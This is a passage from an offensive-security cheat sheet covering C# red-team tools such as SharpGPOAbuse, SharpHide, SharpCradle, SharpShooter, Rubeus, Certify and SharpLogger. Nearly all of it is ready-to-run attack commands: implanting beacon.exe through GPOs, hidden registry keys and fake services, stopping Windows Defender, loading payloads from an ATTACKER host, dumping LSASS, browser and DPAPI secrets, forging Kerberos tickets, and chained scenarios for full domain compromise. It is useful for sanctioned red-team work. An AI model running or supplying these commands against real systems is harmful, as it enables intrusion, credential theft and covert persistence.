.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author NT AUTHORITY\SYSTEM --Command "C:\Temp\beacon.exe" --GPOName "Default Domain Policy" --Force

# Add user-context scheduled task
.\SharpGPOAbuse.exe --AddUserTask --TaskName "Update" --Author CORP\Admin --Command "C:\Temp\beacon.exe" --GPOName "Default Domain Policy"

# Add startup script via GPO
.\SharpGPOAbuse.exe --AddComputerScript --ScriptName startup.bat --ScriptContents "@echo off && C:\Temp\beacon.exe" --GPOName "Default Domain Policy"

# Add user logon script via GPO
.\SharpGPOAbuse.exe --AddUserScript --ScriptName logon.bat --ScriptContents "C:\Temp\beacon.exe" --GPOName "Default Domain Policy"

# Force immediate GPO update on all machines
# (After adding malicious GPO task)
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "GPOForce" --Author NT AUTHORITY\SYSTEM --Command "gpupdate.exe" --Arguments "/force" --GPOName "Default Domain Policy" --Force

6.2 SharpHide — Hidden Registry Key Persistence

Creates hidden registry keys (with null bytes in key name) that are invisible to regedit.exe but still executed by Windows on startup.

MITRE: T1547.001 (Registry Run Keys / Startup Folder)

# Create a hidden autoruns registry key (invisible in regedit!)
.\SharpHide.exe create "C:\Temp\beacon.exe"

# Custom key name (hidden via null byte trick)
.\SharpHide.exe create "C:\Temp\beacon.exe" /keyname:SystemUpdate

# Verify it was created:
# Normal regedit.exe → can't see it!
# Process Monitor → can see actual registry calls

# Remove the hidden key
.\SharpHide.exe remove /keyname:SystemUpdate

# Defense: Monitor for registry writes with null bytes in path
# Sysmon Event ID 13 (RegistryValueSet) with null bytes = IOC

6.3 SharpDoor — Multiple RDP Sessions Backdoor

C# alternative to RDPWrap. Patches termsrv.dll to allow multiple concurrent RDP sessions — turns any Windows workstation/server into a multi-user RDP server.

MITRE: T1021.001 (Remote Desktop Protocol), T1112 (Modify Registry)

# Install the RDP multi-session patch
.\SharpDoor.exe

# After running:
# → Multiple admins can RDP simultaneously (default Windows blocks this!)
# → Combine with a created local admin account for persistent access

# Enable RDP if disabled:
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3389 action=allow

7. Execution & Evasion

7.1 SharpCradle — In-Memory .NET Loader

Downloads and executes .NET assemblies directly into memory from HTTP/SMB/UNC — never writes to disk.

MITRE: T1059.001, T1105 (Ingress Tool Transfer)

# Download and execute from HTTP
.\SharpCradle.exe http://ATTACKER/SharpHound.exe -c All --outputdirectory C:\Temp

# Download from SMB share
.\SharpCradle.exe \\ATTACKER\share\SharpHound.exe -c All

# Download + pass arguments
.\SharpCradle.exe http://192.168.1.100:8080/SafetyKatz.exe "sekurlsa::logonpasswords" "exit"

# With authentication (for SMB share)
.\SharpCradle.exe \\ATTACKER\share\tool.exe -u username -p password

7.2 SharpShooter — Payload Generation

Payload generation framework. Creates stageless/staged payloads delivered via HTA, JS, WSF, VBS, and macro documents — with sandbox evasion.

MITRE: T1566.001 (Phishing: Spearphishing Attachment), T1059 (Command and Scripting Interpreter)

# Generate JS payload (reflective injection)
python SharpShooter.py --stageless --dotnetver 4 --payload js --output payload --rawscfile shellcode.bin

# Generate HTA payload
python SharpShooter.py --stageless --dotnetver 4 --payload hta --output payload --rawscfile shellcode.bin

# Generate macro (VBA)
python SharpShooter.py --stageless --dotnetver 4 --payload macro --output payload --rawscfile shellcode.bin

# Sandbox evasion (domain check, username check, sleep)
python SharpShooter.py --stageless --dotnetver 4 --payload js --output payload --rawscfile shellcode.bin --sandbox 1,2,3 --domaincheck CORP

# Delivery via web URL (staged)
python SharpShooter.py --dotnetver 4 --payload js --delivery web --web http://ATTACKER/payload --output loader --rawscfile shellcode.bin

7.3 BetterSafetyKatz — Evasive SafetyKatz

SafetyKatz with PE header patching and AMSI bypass. Bypasses static AV signature detection of the Mimikatz binary.

# Drop-in replacement for SafetyKatz with better evasion
.\BetterSafetyKatz.exe

# With specific Mimikatz command
.\BetterSafetyKatz.exe "lsadump::dcsync /user:krbtgt /domain:CORP.LOCAL" "exit"

# execute-assembly (best OPSEC)
beacon> execute-assembly C:\Tools\BetterSafetyKatz.exe

7.4 SharpCollection — Pre-compiled Sharp Tools

Pre-compiled nightly builds of ALL major C# offensive tools, fresh from their master branches via Azure DevOps CI/CD.

GitHub: https://github.com/Flangvik/SharpCollection

Available tools in SharpCollection:

ADCollector ADCSPwn ADSearch ADFSDump
BetterSafetyKatz Certify EDD ForgeCert
Rubeus RunAs SafetyKatz SauronEye
Seatbelt SharpChrome SharpDPAPI SharpDump
SharpGPOAbuse SharpHound SharpMapExec SharpRoast
SharpUp SharpView SharpWMI SharpWeb

.NET versions available: 4.0, 4.5, 4.7

Usage in Cobalt Strike (serve from team server):

beacon> execute-assembly /opt/SharpCollection/NetFramework_4.5_x64/Seatbelt.exe -group=all
beacon> execute-assembly /opt/SharpCollection/NetFramework_4.5_x64/Rubeus.exe kerberoast /outfile:hashes.txt
beacon> execute-assembly /opt/SharpCollection/NetFramework_4.5_x64/Certify.exe find /vulnerable

8. Recon & Misc

8.1 SauronEye — File Content Search

Search across local/remote filesystems and shares for files containing keywords — finds credentials in configs, scripts, and documents.

MITRE: T1083 (File and Directory Discovery), T1552.001 (Credentials in Files)

# Search for passwords in files on current machine
.\SauronEye.exe --directories C:\ --filetypes .txt,.xml,.config,.ps1,.bat --keywords password,passwd,credential,secret --hide

# Search remote share
.\SauronEye.exe --directories \\FILESERVER\Share --filetypes .txt,.xml,.config,.ini --keywords password,apikey,secret,token

# Search for common config files
.\SauronEye.exe --directories C:\inetpub --filetypes web.config,.xml --keywords connectionString,password

# Search with regex (e.g. find AWS keys)
.\SauronEye.exe --directories C:\Users --filetypes .txt,.ini --keywords AKIA --regex

# Common keywords to search:
# password, passwd, pwd, secret, credential, apikey, token
# connectionstring, datasource, db_password
# BEGIN RSA PRIVATE KEY, AKIA (AWS Access Key ID)

8.2 SharpLogger — Keylogger

C# keylogger. Captures all keystrokes from the active window and logs them.

MITRE: T1056.001 (Keylogging)

# Start keylogging (logs to console / CS console)
.\SharpLogger.exe

# execute-assembly in background job
beacon> execute-assembly C:\Tools\SharpLogger.exe

# Output format:
# [Notepad] Hello World
# [Chrome]  https://mail.google.com
# [KeePass] SuperSecret!MasterPassword

8.3 SharpSC — Service Control

Simple .NET tool to query and interact with Windows services — list, start, stop, create, delete.

# List all services
.\SharpSC.exe action=list

# Query specific service
.\SharpSC.exe action=query name=wuauserv

# Stop a service (e.g., AV!)
.\SharpSC.exe action=stop name=WinDefend
.\SharpSC.exe action=stop name=MsMpEng

# Start a service
.\SharpSC.exe action=start name=RemoteRegistry

# Create a new service (payload persistence)
.\SharpSC.exe action=create name=WindowsUpdate displayname="Windows Update" binpath="C:\Temp\beacon.exe" start=auto

# Delete a service
.\SharpSC.exe action=delete name=WindowsUpdate

8.4 SharpSphere — vCenter/VMware Attack

.NET tool for attacking VMware vCenter — enumerate VMs, execute commands in VMs (no network needed!), exfiltrate guest files via VMware Tools.

MITRE: T1021 (Remote Services), T1059 (Command Execution)

# List all VMs in vCenter
.\SharpSphere.exe list --url https://VCENTER/sdk --username administrator@vsphere.local --password P@ss

# Execute command inside a VM (via VMware Tools — no network!)
.\SharpSphere.exe execute --url https://VCENTER/sdk --username admin@vsphere.local --password P@ss --vmname JUMPBOX01 --username-guest Administrator --password-guest P@ss --command "whoami"

# Upload file to VM guest
.\SharpSphere.exe upload --url https://VCENTER/sdk --username admin@vsphere.local --password P@ss --vmname JUMPBOX01 --username-guest Administrator --password-guest P@ss --source C:\beacon.exe --destination C:\Windows\Temp\beacon.exe

# Download file from VM guest
.\SharpSphere.exe download --url https://VCENTER/sdk --username admin@vsphere.local --password P@ss --vmname JUMPBOX01 --username-guest Administrator --password-guest P@ss --source C:\Users\Admin\Documents\creds.txt --destination C:\Temp\creds.txt

# Take VM snapshot (pre-attack backup)
.\SharpSphere.exe snapshot --url https://VCENTER/sdk --username admin@vsphere.local --password P@ss --vmname TARGET_VM --snapshot-name "Pre-Attack"

9. MITRE ATT&CK Mapping

Tool	MITRE Technique ID	Tactic
Seatbelt	T1082, T1016, T1083	Discovery
SharpUp	T1574.005, T1574.009, T1548.002	Privilege Escalation
SharpRoast	T1558.003	Credential Access
SharpDump	T1003.001	Credential Access
SafetyKatz	T1003.001	Credential Access
SharpWMI	T1047, T1546.003	Execution, Persistence
SharpDPAPI	T1555, T1552.002	Credential Access
SharpChrome	T1555.003	Credential Access
Rubeus	T1558.001/002/003, T1550.003	Credential Access, Lateral Movement
Certify	T1649	Credential Access
KeeThief	T1555	Credential Access
SharpHound	T1069.002, T1087.002, T1018	Discovery
SharpView	T1069, T1087, T1482	Discovery
SharpExec	T1021.002, T1047, T1569.002	Lateral Movement
SharpMapExec	T1021, T1110.003	Lateral Movement
SharpWeb	T1555.003	Credential Access
SharpLocker	T1056.002	Credential Access
SharpGPOAbuse	T1484.001, T1053.005	Persistence, Privilege Escalation
SharpHide	T1547.001	Persistence
SharpDoor	T1021.001	Lateral Movement, Persistence
SharpShooter	T1566.001, T1059	Initial Access, Execution
SauronEye	T1083, T1552.001	Discovery, Credential Access
SharpLogger	T1056.001	Credential Access
SharpSphere	T1021, T1059	Lateral Movement, Execution

10. Complete Command Cheat Sheet

# ==========================================
# === GHOSTPACK QUICK REFERENCE ===
# ==========================================

# --- SEATBELT ---
.\Seatbelt.exe -group=all                              # Full host survey
.\Seatbelt.exe PowerShellHistory CredEnum SavedRDPConnections  # Quick cred hunt
.\Seatbelt.exe TokenPrivileges                         # Check privs

# --- SHARPUP ---
.\SharpUp.exe audit                                    # All priv esc vectors
.\SharpUp.exe audit UnquotedServicePath                # Unquoted service paths
.\SharpUp.exe audit AlwaysInstallElevated              # MSI priv esc

# --- SHARPDUMP / SAFETYKATZ ---
.\SharpDump.exe                                        # Dump LSASS (gzip compressed)
.\SafetyKatz.exe                                       # In-memory Mimikatz
.\BetterSafetyKatz.exe                                 # Evasive version

# --- SHARPWMI ---
.\SharpWMI.exe action=exec computername=TARGET command="cmd.exe /c COMMAND"
.\SharpWMI.exe action=create computername=TARGET eventname="persist" command="beacon.exe" interval=60

# --- SHARPDPAPI ---
.\SharpDPAPI.exe backupkey /server:DC01.CORP.LOCAL /file:backupkey.pvk  # Get backup key
.\SharpDPAPI.exe triage /pvk:backupkey.pvk                              # Dump all secrets
.\SharpDPAPI.exe credentials /pvk:backupkey.pvk                         # Cred files
.\SharpDPAPI.exe machinetriage                                          # Machine secrets

# --- SHARPCHRME ---
.\SharpChrome.exe logins /unprotect                    # Chrome passwords
.\SharpChrome.exe cookies /unprotect                   # Chrome cookies
.\SharpChrome.exe logins /pvk:backupkey.pvk            # With domain backup key

# --- RUBEUS ---
.\Rubeus.exe kerberoast /outfile:hashes.txt            # Kerberoasting
.\Rubeus.exe asreproast /outfile:asrep.txt             # AS-REP Roasting
.\Rubeus.exe harvest /interval:30                      # Harvest TGTs
.\Rubeus.exe dump /service:krbtgt /nowrap              # Dump TGT
.\Rubeus.exe ptt /ticket:ticket.kirbi                  # Inject ticket
.\Rubeus.exe asktgt /user:Admin /ntlm:HASH /domain:CORP.LOCAL /ptt  # Get TGT via hash
.\Rubeus.exe golden /rc4:KRBTGT_HASH /domain:CORP.LOCAL /sid:SID /user:FakeAdmin /ptt  # Golden
.\Rubeus.exe silver /rc4:SVC_HASH /domain:CORP.LOCAL /sid:SID /user:Admin /service:cifs/SERVER /ptt  # Silver
.\Rubeus.exe s4u /user:svc /rc4:HASH /domain:CORP.LOCAL /impersonateuser:Admin /msdsspn:cifs/SERVER /ptt  # S4U

# --- CERTIFY ---
.\Certify.exe find /vulnerable                         # Find ESC1-8 vectors
.\Certify.exe request /ca:DC01\CORP-CA /template:VulnTemplate /altname:Administrator  # Exploit ESC1
.\Certify.exe cas                                      # List all CAs

# ==========================================
# === AD ENUMERATION ===
# ==========================================

.\SharpHound.exe -c All                                # Full BloodHound collection
.\SharpHound.exe -c DCOnly                             # OPSEC-safe DC-only
.\SharpView.exe Get-DomainUser -SPN                    # Kerberoastable users
.\SharpView.exe Find-LocalAdminAccess                  # Where am I local admin?
.\SharpView.exe Find-InterestingDomainAcl -ResolveGUIDs  # Dangerous ACLs
.\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes samaccountname,serviceprincipalname  # SPNs
.\SharpSniper.exe Administrator                        # Find where target is logged in

# ==========================================
# === LATERAL MOVEMENT ===
# ==========================================

.\SharpExec.exe -m=wmiexec -i=TARGET_IP -u=Admin -p=P@ss -c="cmd.exe /c beacon.exe"
.\SharpMapExec.exe smb --accounts Administrator --hashes NTLM_HASH --domain CORP.LOCAL --exec "whoami"

# ==========================================
# === CREDENTIAL HUNTING ===
# ==========================================

.\SharpWeb.exe all                                     # All browser credentials
.\SauronEye.exe --directories C:\ --filetypes .txt,.xml,.config --keywords password,secret  # File search

# ==========================================
# === PERSISTENCE ===
# ==========================================

.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount hacker --GPOName "Default Domain Policy"
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "NT AUTHORITY\SYSTEM" --Command "C:\Temp\beacon.exe" --GPOName "Default Domain Policy" --Force
.\SharpHide.exe create "C:\Temp\beacon.exe"            # Hidden registry persistence

# ==========================================
# === COBALT STRIKE EXECUTE-ASSEMBLY ===
# ==========================================

beacon> execute-assembly /opt/SharpCollection/NetFramework_4.7_x64/Seatbelt.exe -group=all
beacon> execute-assembly /opt/SharpCollection/NetFramework_4.7_x64/SharpUp.exe audit
beacon> execute-assembly /opt/SharpCollection/NetFramework_4.7_x64/Rubeus.exe kerberoast /outfile:hashes.txt
beacon> execute-assembly /opt/SharpCollection/NetFramework_4.7_x64/Certify.exe find /vulnerable
beacon> execute-assembly /opt/SharpCollection/NetFramework_4.7_x64/SharpHound.exe -c DCOnly
beacon> execute-assembly /opt/SharpCollection/NetFramework_4.7_x64/SafetyKatz.exe
beacon> execute-assembly /opt/SharpCollection/NetFramework_4.7_x64/SharpView.exe Get-DomainUser -SPN
beacon> execute-assembly /opt/SharpCollection/NetFramework_4.7_x64/SharpDPAPI.exe triage /pvk:backupkey.pvk
beacon> execute-assembly /opt/SharpCollection/NetFramework_4.7_x64/SharpChrome.exe logins /unprotect
beacon> execute-assembly /opt/SharpCollection/NetFramework_4.7_x64/SharpWeb.exe all

# ==========================================
# === ATTACK SCENARIO REFERENCE ===
# ==========================================

# SCENARIO 1: Initial foothold, enumerate host
# Seatbelt.exe -group=all → SharpUp.exe audit → SharpView.exe Get-Domain

# SCENARIO 2: Find priv esc vector
# SharpUp.exe audit → exploit service → SYSTEM → SharpDump / SafetyKatz

# SCENARIO 3: AD attack path to DA
# SharpHound.exe -c All → BloodHound analysis → Certify/Rubeus for escalation

# SCENARIO 4: Credential harvest chain
# SharpWeb.exe all → SharpChrome.exe logins → Seatbelt.exe CredEnum → SharpDPAPI.exe triage

# SCENARIO 5: Full domain compromise
# Certify/Rubeus → Get DA TGT → Rubeus dcsync → Golden Ticket → Persistence via SharpGPOAbuse

Sharp C# Offensive Tools